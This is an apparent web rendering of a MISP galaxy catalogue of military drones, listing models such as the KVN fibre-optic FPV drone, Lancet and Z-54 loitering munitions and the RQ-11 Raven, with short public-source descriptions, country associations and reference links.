https://www.qinetiq.com/

A1-CMX Furia (A1-CMX Фурия)

The A1-CMX Furia, manufactured by Athlon Avia, is an electric drone platform designed for Intelligence, Surveillance, and Reconnaissance (ISR) missions, capable of reaching speeds of up to 140 km/h with a flight time of three hours. It is currently operated by Ukraine, and further details can be verified through the provided links.

The tag is: *misp-galaxy:uavs="A1-CMX Furia (A1-CMX Фурия)"*

View relationships graph

A1-CMX Furia (A1-CMX Фурия) has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 25244. Table References

Links
https://en.wikipedia.org/wiki/Athlon_Avia_A1-CM_Furia

Talash 1

The tag is: *misp-galaxy:uavs="Talash 1"*

View relationships graph

Talash 1 has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"

Talash 2 (□□□□ 2)

The tag is: *misp-galaxy:uavs="Talash 2 (□□□□ 2)"*

View relationships graph

Talash 2 (□□□□ 2) has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"

Ababil-5 (□□□□□□)

The tag is: *misp-galaxy:uavs="Ababil-5 (□□□□□□)"*

View relationships graph

Ababil-5 (□□□□□□) has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"

Table 25245. Table References

Links
https://en.wikipedia.org/wiki/HESA_Ababil

Generic 10' FPV

This is a generic place holder for 10" FPV multirotor class sourced from various manufacturers and for close-range reconnaissance and precision strike, including expendable/kamikaze roles. Built from widely available components, it provides a low-cost, rapidly fielded alternative to purpose-built loitering munitions across multiple theaters.

The tag is: *misp-galaxy:uavs="Generic 10' FPV"*

View relationships graph

Generic 10' FPV has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 25246. Table References

Links
https://trap.org.ua/en/publications/game-changing-drones-who-manufactures-russian-fpv-drones/

Piranha-5 (ПИРАНЬЯ)

FPV;VTOL

The tag is: *misp-galaxy:uavs="Piranha-5 (ПИРАНЬЯ)"*

View relationships graph

Piranha-5 (ПИРАНЬЯ) has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25247. Table References

Links
https://www.armyrecognition.com/archives/archives-land-defense/land-defense-2024/focus-russian-piranha-5-pocket-drone-revolutionizes-soldier-mobility-with-four-carry-capability

Piranha-13 (ПИРАНЬЯ)

FPV;VTOL

The tag is: *misp-galaxy:uavs="Piranha-13 (ПИРАНЬЯ)"*

View relationships graph

Piranha-13 (ПИРАНЬЯ) has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25248. Table References

Links
https://en.topwar.ru/252968-bpla-piranja-13-postupaet-v-vojska.html
https://piranhafpv.ru/

Piranha-10 (ПИРАНЬЯ)

FPV;VTOL

The tag is: *misp-galaxy:uavs="Piranha-10 (ПИРАНЬЯ)"*

View relationships graph

Piranha-10 (ПИРАНЬЯ) has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25249. Table References

Links
https://piranhafpv.ru/

Piranha-7 (ПИРАНЬЯ)

FPV;VTOL

The tag is: *misp-galaxy:uavs="Piranha-7 (ПИРАНЬЯ)"*

View relationships graph

Piranha-7 (ПИРАНЬЯ) has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25250. Table References

Links
https://piranhafpv.ru/

A8 3300 Alesha

The tag is: *misp-galaxy:uavs="A8 3300 Alesha"*

View relationships graph

A8 3300 Alesha has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25251. Table References

Links
https://www.list-org.com/company/7968874

Monolit-FPV-7

FPV;VTOL

The tag is: *misp-galaxy:uavs="Monolit-FPV-7"*

View relationships graph

Monolit-FPV-7 has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25252. Table References

Links
https://www.list-org.com/company/12980867

Ploshchad-K

FPV;VTOL

The tag is: *misp-galaxy:uavs="Ploshchad-K"*

View relationships graph

Ploshchad-K has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25253. Table References

Links
https://www.list-org.com/company/14124035

Skvorets-Z

FPV;VTOL

The tag is: *misp-galaxy:uavs="Skvorets-Z"*

View relationships graph

Skvorets-Z has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25254. Table References

Links
https://www.list-org.com/company/14254523

Boomerang

FPV;VTOL

The tag is: *misp-galaxy:uavs="Boomerang"*

View relationships graph

Boomerang has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25255. Table References

Links
https://continental-defence.com/russians-using-low-cost-kamikaze-boomerang-drones-to-take-out-ukrainians

Brus-1

FPV;VTOL

The tag is: *misp-galaxy:uavs="Brus-1"*

View relationships graph

Brus-1 has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25256. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/436

Meraj 504 (□□□□□ □□□□□)

The tag is: *misp-galaxy:uavs="Meraj 504 (□□□□□ □□□□□)"*

View relationships graph

Meraj 504 (□□□□□ □□□□□) has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"

Table 25257. Table References

Links
https://ar.wikipedia.org/wiki/%D9%85%D8%B9%D8%B1%D8%A7%D8%AC_(%D8%B7%D8%A7%D8%A6%D8%B1%D8%A9_%D8%A8%D8%AF%D9%88%D9%86_%D8%B7%D9%8A%D8%A7%D8%B1)

VT-40 (Vladlen Tatar, BT-40)

VTOL,FPV

The tag is: *misp-galaxy:uavs="VT-40 (Vladlen Tatar, BT-40)"*

View relationships graph

VT-40 (Vladlen Tatar, BT-40) has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25258. Table References

Links
https://cyclowiki.org/wiki/%D0%92%D0%A2-40

Inferno

The tag is: *misp-galaxy:uavs="Inferno"*

View relationships graph

Inferno has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25259. Table References

Links
https://en.topwar.ru/234479-bespilotnik-bombardirovschik-inferno.html
https://war-sanctions.gur.gov.ua/en/uav/414

KVN (Prince Vandal of Novgorod, Князь Вандал Новгородский)

KVN is a FPV-drone with fiber optic communication, has a high speed of information exchange between the device and the control station (up to 1 gigabit per second in both directions), and does not depend on the terrain. At the same time, in terms of a cost, the new drone is approximately equivalent to an FPV drone with radio control. A reel of fiber clings to the drone, it flies and unwinds it. Control and reverse video flow are carried out via fiber, EW does not affect it, because there is no radio channel.

The tag is: *misp-galaxy:uavs="KVN (Prince Vandal of Novgorod, Князь Вандал Новгородский)"*

View relationships graph

KVN (Prince Vandal of Novgorod, Князь Вандал Новгородский) has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25260. Table References

Links
https://bulgarianmilitary.com/2025/01/23/meet-the-prince-vandal-drone-abrams-and-challenger-2-killer/
https://en.wikipedia.org/wiki/Ushkuynik_KVN

Generic 3' FPV

This is a generic place holder for 3" FPV multirotor class sourced from various manufacturers and for close-range reconnaissance and precision strike, including expendable/kamikaze roles. Built from widely available components, it provides a low-cost, rapidly fielded alternative to purpose-built loitering munitions across multiple theaters.

The tag is: *misp-galaxy:uavs="Generic 3' FPV"*

Generic 6' FPV

The tag is: *misp-galaxy:uavs="Generic 6' FPV"*

Generic 7' FPV

The tag is: *misp-galaxy:uavs="Generic 7' FPV"*

FlyCat

The Venator FlyCat is a Ukrainian loitering munition used by Ukrainian forces to locate, loiter over, and strike targets with an expendable precision attack. It provides a cost-effective tactical strike option to augment frontline operations in Ukraine.

The tag is: *misp-galaxy:uavs="FlyCat"*

View relationships graph

FlyCat has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 25261. Table References

Links
https://venator.technology/en/flycat/
https://www.armyrecognition.com/news/aerospace-news/2025/ausa-2025-venators-flycat-aligns-with-u-s-armys-call-for-attritable-strike-drones

Osoed

The Osoed, built by Russia's ANPO SPC Ushkuynik, is an FPV interceptor UAV used by Russian operators to chase and neutralize hostile drones. It has about 24 minutes of endurance and a top speed of roughly 140 km/h, optimized for short, high-speed interception missions.

The tag is: *misp-galaxy:uavs="Osoed"*

View relationships graph

Osoed has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25262. Table References

Links
https://tadviser.com/index.php/Product:Osoed_(interceptor_drone)
https://en.topwar.ru/249125-setka-protiv-koptera-novye-sredstva-borby-s-bpla.html
https://war-sanctions.gur.gov.ua/en/uav/492

Vyuga (Вьюга)

Vuyga (Вьюга) is an electric FPV quadcopter developed by NPO Center for Complex Support and fielded by Russian forces as a low-cost expendable platform for short-range precision strikes and munition delivery. Its FPV setup also supports close-in reconnaissance and target acquisition in contested frontline environments.

The tag is: *misp-galaxy:uavs="Vyuga (Вьюга)"*

View relationships graph

Vyuga (Вьюга) has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25263. Table References

Links
https://theins.ru/inv/270242

Stuzha (Стужа)

Stuzha (Стужа) is a Russian FPV attack drone developed by NPO Center for Complex Support and operated by Russian forces, designed to carry an explosive payload under first-person control. It serves as a low-cost, short-range precision strike platform for engaging vehicles, artillery, and field fortifications on the frontline.

The tag is: *misp-galaxy:uavs="Stuzha (Стужа)"*

View relationships graph

Stuzha (Стужа) has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25264. Table References

Links
https://theins.ru/inv/270242
https://orenburg.media/?p=273395

Y-89

The Y-89 is an electric VTOL fliying wing used by Russia for ISR, with roughly 30 minutes of endurance, a top speed of 64 km/h, and an 8 kg payload. Unarmed, it serves short-range reconnaissance and surveillance roles, carrying sensors to support situational awareness and target observation.

The tag is: *misp-galaxy:uavs="Y-89"*

View relationships graph

Y-89 has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25265. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/442
https://war-sanctions.gur.gov.ua/en/uav/441

KH-89

This drone has significant carrying capacity against its own weight of 15 kg (can bring up to 12kg). The body of the drone has a noise-resistant communication channel with the camera integrated into it, shooting with 4K resolution. Additionally, a laser pointer can be set to illuminate the target.

The tag is: *misp-galaxy:uavs="KH-89"*

View relationships graph

KH-89 has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25266. Table References

Links

https://www.kotlin-novator.ru/

veter

The dual-purpose quadcopter Veter is capable of carrying 1 kg of payload. The drone has an obstacle-proof control channel and a complex design. Many version are available (veter-8 10 and 13)

The tag is: *misp-galaxy:uavs="veter"*

View relationships graph

veter has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25267. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/443
https://www.armyrecognition.com/news/aerospace-news/2024/russia-deploys-ai-equipped-fpv-drones-in-military-operations

Buran

The Buran is a Russian electric heavy-lift hexacopter by KOTLIN-NOVATOR JSC, optimized for short-range logistics and reconnaissance, with about 45 minutes endurance, up to 70 km/h speed, a 2.8 m span, and a claimed 80 kg payload. Operated in Russia, it is currently described as non-weaponized and used primarily as a cargo/ISR platform.

The tag is: *misp-galaxy:uavs="Buran"*

View relationships graph

Buran has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25268. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/444
https://en.defence-ua.com/weapon_and_tech/russia_introduces_the_buran_drone_a_versatile_aerial_platform_designed_for_cargo_reconnaissance_and_attack_missions-12008.html

RQ-11 Raven

The AeroVironment RQ-11 Raven is a hand-launched, electric small UAV for short-range tactical reconnaissance, surveillance, and target acquisition, providing real-time EO/IR video to dismounted and small-unit forces. With about 1.5 hours endurance and a 1.37 m wingspan, it is unarmed and widely fielded by the United States and numerous allied operators.

The tag is: *misp-galaxy:uavs="RQ-11 Raven"*

View relationships graph

RQ-11 Raven has relationships with:

- similar: misp-galaxy:country="australia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="belgium" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="bulgaria" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="canada" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="colombia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="costa rica" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="czechia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="estonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="hungary" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="iraq" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="italy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="kenya" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="lebanon" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="lithuania" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="luxembourg" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="netherlands" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="north macedonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="norway" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:country="pakistan" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="philippines" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="portugal" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="romania" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="saudi arabia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="slovakia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="spain" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="thailand" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="uganda" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united kingdom" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="uzbekistan" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="yemen" with estimative-language:likelihood-probability="likely"

Table 25269. Table References

Links
https://en.wikipedia.org/wiki/AeroVironment_RQ-11_Raven

V2U

The tag is: *misp-galaxy:uavs="V2U"*

Table 25270. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/485

Kinzhal

The tag is: *misp-galaxy:uavs="Kinzhal"*

Table 25271. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/490

Plamya-9

The tag is: *misp-galaxy:uavs="Plamya-9"*

Table 25272. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/488

Plamya-13

The tag is: *misp-galaxy:uavs="Plamya-13"*

Table 25273. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/489

MiS-35

The tag is: *misp-galaxy:uavs="MiS-35"*

Table 25274. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/477

404 version

The 404 version is a weapon-capable loitering munition (LM) developed by LLC VERTICAL for one-way attack missions. It is employed in the Russia–Ukraine war to strike ground targets as an expendable strike drone.

The tag is: *misp-galaxy:uavs="404 version"*

View relationships graph

404 version has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25275. Table References

Links

https://war-sanctions.gur.gov.ua/en/uav/479

803 version

The 803 version, produced by Russia's LLC VERTICAL, is an FPV loitering munition used by Russian forces for first-person–guided kamikaze strikes on battlefield targets. It supports short-range, precision attacks and rapid attrition operations against enemy positions and equipment.

The tag is: *misp-galaxy:uavs="803 version"*

View relationships graph

803 version has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25276. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/480

Vodonos

The tag is: *misp-galaxy:uavs="Vodonos"*

Table 25277. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/481

Vodonos Older

The tag is: *misp-galaxy:uavs="Vodonos Older"*

Table 25278. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/482

Bratan-3

The tag is: *misp-galaxy:uavs="Bratan-3"*

Table 25279. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/483

Knyaz Vandal Novgorodsky

of combat unit

The tag is: *misp-galaxy:uavs="Knyaz Vandal Novgorodsky"*

Table 25280. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/486

Wespe Turbine

The tag is: *misp-galaxy:uavs="Wespe Turbine"*

View relationships graph

Wespe Turbine has relationships with:

- similar: misp-galaxy:country="germany" with estimative-language:likelihood-probability="likely"

Table 25281. Table References

Links
https://www.avilus.com/solution/wespe

Tribunal

The tag is: *misp-galaxy:uavs="Tribunal"*

View relationships graph

Tribunal has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25282. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/466

Sifa

The tag is: *misp-galaxy:uavs="Sifa"*

Table 25283. Table References

Links

https://war-sanctions.gur.gov.ua/en/uav/484

MiS-50

The tag is: *misp-galaxy:uavs="MiS-50"*

Table 25284. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/478

Soroka

The tag is: *misp-galaxy:uavs="Soroka"*

Table 25285. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/465

Phaeton

The tag is: *misp-galaxy:uavs="Phaeton"*

Table 25286. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/467

Pchelka

AIRBURG LLC's Pchelka is a small tactical UAV designed for reconnaissance and surveillance, offering up to 4 hours of endurance with a 4 kg sensor payload. It supports battlefield ISR, mapping, and target/impact assessment for artillery and frontline monitoring.

The tag is: *misp-galaxy:uavs="Pchelka"*

View relationships graph

Pchelka has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25287. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/468

Aspid

The tag is: *misp-galaxy:uavs="Aspid"*

Table 25288. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/469

MV Chayka

The tag is: *misp-galaxy:uavs="MV Chayka"*

Table 25289. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/470

Kukushka

The tag is: *misp-galaxy:uavs="Kukushka"*

Table 25290. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/471

Narval

The tag is: *misp-galaxy:uavs="Narval"*

Table 25291. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/474

RS-4H

The tag is: *misp-galaxy:uavs="RS-4H"*

Table 25292. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/475

T-400

The tag is: *misp-galaxy:uavs="T-400"*

Table 25293. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/476

Ptero-G0 (Cartographer)

The tag is: *misp-galaxy:uavs="Ptero-G0 (Cartographer)"*

Table 25294. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/378

Fenix

The tag is: *misp-galaxy:uavs="Fenix"*

Table 25295. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/333

Legioner E29

The tag is: *misp-galaxy:uavs="Legioner E29"*

Table 25296. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/459

Ptero-G1

The tag is: *misp-galaxy:uavs="Ptero-G1"*

Table 25297. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/463

Alfa-E

The tag is: *misp-galaxy:uavs="Alfa-E"*

Table 25298. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/460

Ptero-H2

The tag is: *misp-galaxy:uavs="Ptero-H2"*

Table 25299. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/464

Legioner G29S

The tag is: *misp-galaxy:uavs="Legioner G29S"*

Table 25300. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/461

Eleron-3

The tag is: *misp-galaxy:uavs="Eleron-3"*

Table 25301. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/227

Vorobey (Era)

The tag is: *misp-galaxy:uavs="Vorobey (Era)"*

Table 25302. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/433

Bumerang

The tag is: *misp-galaxy:uavs="Bumerang"*

Table 25303. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/435

Zala Z-16 (421-16E)

The tag is: *misp-galaxy:uavs="Zala Z-16 (421-16E)"*

Table 25304. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/272

Prygun-1

The tag is: *misp-galaxy:uavs="Prygun-1"*

Table 25305. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/434

Osa

The tag is: *misp-galaxy:uavs="Osa"*

Table 25306. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/437

Harpiya-A1

The tag is: *misp-galaxy:uavs="Harpiya-A1"*

Table 25307. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/379

Kort

The tag is: *misp-galaxy:uavs="Kort"*

Table 25308. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/438

Corsair

The tag is: *misp-galaxy:uavs="Corsair"*

Table 25309. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/194

Lun-7

The tag is: *misp-galaxy:uavs="Lun-7"*

Table 25310. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/439

Takhion

The tag is: *misp-galaxy:uavs="Takhion"*

Table 25311. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/304

Lun-10

The tag is: *misp-galaxy:uavs="Lun-10"*

Table 25312. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/440

Z-54 (Italmas)

The Z-54 (Italmas) is a Russian fixed-wing loitering munition by Zala Aero designed for one-way attack missions, enabling low-cost precision strikes at standoff ranges. It has been used by Russia to saturate air defenses and strike infrastructure as part of massed long-range UAV attacks.

The tag is: *misp-galaxy:uavs="Z-54 (Italmas)"*

View relationships graph

Z-54 (Italmas) has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25313. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/368
https://zala-aero.com/en/product/izdelie-54/

KUB-UAV

The tag is: *misp-galaxy:uavs="KUB-UAV"*

Table 25314. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/305

X-89

The tag is: *misp-galaxy:uavs="X-89"*

Table 25315. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/442

E95M (air target)

The tag is: *misp-galaxy:uavs="E95M (air target)"*

Table 25316. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/276

Privet-82

The tag is: *misp-galaxy:uavs="Privet-82"*

Table 25317. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/448

Privet-120

The tag is: *misp-galaxy:uavs="Privet-120"*

Table 25318. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/449

Supercam SX350

The Supercam SX350 is a tactical VTOL fixed-wing UAV developed by Unmanned Systems. It combines vertical take-off and landing with efficient fixed-wing cruise flight. The system is designed primarily for ISR missions. It can carry stabilised EO/IR sensor payloads with real-time data transmission. The SX350 offers multi-hour endurance with a reduced logistical footprint.

The tag is: *misp-galaxy:uavs="Supercam SX350"*

View relationships graph

Supercam SX350 has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25319. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/337
https://en.supercam.aero/catalog/supercam-sx350

Eleron-7 (Элерон-7)

The tag is: *misp-galaxy:uavs="Eleron-7 (Элерон-7)"*

Table 25320. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/450

GERAN-1 (Shahed-131)

The tag is: *misp-galaxy:uavs="GERAN-1 (Shahed-131)"*

Table 25321. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/338

Eleron-10 (Элерон-10)

The Eleron-10 is a Russian light tactical reconnaissance UAV developed by ENICS for short- to medium-range ISR missions. It is electric-powered, hand- or catapult-launched, and optimized for unit-level surveillance and artillery correction. The drone carries a day/night EO payload providing real-time video transmission. Its endurance is typically around 2–3 hours, with an operational range of several tens of kilometers. The Eleron-10 prioritizes portability, low logistics burden, and rapid deployment over survivability.

The tag is: *misp-galaxy:uavs="Eleron-10 (Элерон-10)"*

View relationships graph

Eleron-10 (Элерон-10) has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25322. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/451
https://ru.wikipedia.org/wiki/%D0%AD%D0%BB%D0%B5%D1%80%D0%BE%D0%BD-10

Veyer

The Veyer is a light Russian tactical reconnaissance UAV used for short-range surveillance missions. It is electrically powered, with a maximum takeoff weight of around 4 kg and a payload of up to 1 kg. The drone provides real-time video observation with an operational range of roughly 10 km. Its endurance is estimated at 40–60 minutes, making it suitable for platoon- or company-level ISR. The Veyer emphasizes low cost, portability, and rapid deployment, rather than survivability in contested airspace.

The tag is: *misp-galaxy:uavs="Veyer"*

View relationships graph

Veyer has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25323. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/452

SKAT 350M

The tag is: *misp-galaxy:uavs="SKAT 350M"*

Table 25324. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/453

Shchegol

The tag is: *misp-galaxy:uavs="Shchegol"*

Table 25325. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/341

Veter-8

The tag is: *misp-galaxy:uavs="Veter-8"*

Table 25326. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/454

Rusak (Русак)

The tag is: *misp-galaxy:uavs="Rusak (Русак)"*

Table 25327. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/342

Veter-10

The tag is: *misp-galaxy:uavs="Veter-10"*

Table 25328. Table References

Links

https://war-sanctions.gur.gov.ua/en/uav/455

Golub

The tag is: *misp-galaxy:uavs="Golub"*

Table 25329. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/343

Veter-13

The tag is: *misp-galaxy:uavs="Veter-13"*

Table 25330. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/456

Burevestnik

The tag is: *misp-galaxy:uavs="Burevestnik"*

Table 25331. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/344

Vorobey (Stratim)

The tag is: *misp-galaxy:uavs="Vorobey (Stratim)"*

Table 25332. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/345

Peresmeshnik

The tag is: *misp-galaxy:uavs="Peresmeshnik"*

Table 25333. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/346

Krechet

The tag is: *misp-galaxy:uavs="Krechet"*

Table 25334. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/347

Strepet

The tag is: *misp-galaxy:uavs="Strepet"*

Table 25335. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/348

Chaika

The tag is: *misp-galaxy:uavs="Chaika"*

Table 25336. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/349

Redkaya ptitsa

The tag is: *misp-galaxy:uavs="Redkaya ptitsa"*

Table 25337. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/350

Tuvik (electro)

The tag is: *misp-galaxy:uavs="Tuvik (electro)"*

Table 25338. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/351

Yastreb

The tag is: *misp-galaxy:uavs="Yastreb"*

Table 25339. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/352

Lastochka

The tag is: *misp-galaxy:uavs="Lastochka"*

Table 25340. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/353

Zhuravl

The tag is: *misp-galaxy:uavs="Zhuravl"*

Table 25341. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/354

Albatros M5

The tag is: *misp-galaxy:uavs="Albatros M5"*

Table 25342. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/355

Albatros M1

The tag is: *misp-galaxy:uavs="Albatros M1"*

Table 25343. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/356

Albatros D1

The tag is: *misp-galaxy:uavs="Albatros D1"*

Table 25344. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/357

Albatros D5

The tag is: *misp-galaxy:uavs="Albatros D5"*

Table 25345. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/358

Albatros a5h

The tag is: *misp-galaxy:uavs="Albatros a5h"*

Table 25346. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/359

Skarabey-BN

The tag is: *misp-galaxy:uavs="Skarabey-BN"*

Table 25347. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/361

Grifon-12

The tag is: *misp-galaxy:uavs="Grifon-12"*

Table 25348. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/362

Grifon-41

The tag is: *misp-galaxy:uavs="Grifon-41"*

Table 25349. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/363

Grifon-61T

The tag is: *misp-galaxy:uavs="Grifon-61T"*

Table 25350. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/364

Izdeliye-51 (Lancet)

of combat unit

The tag is: *misp-galaxy:uavs="Izdeliye-51 (Lancet)"*

Table 25351. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/365

T-16-5G (412-16E5G)

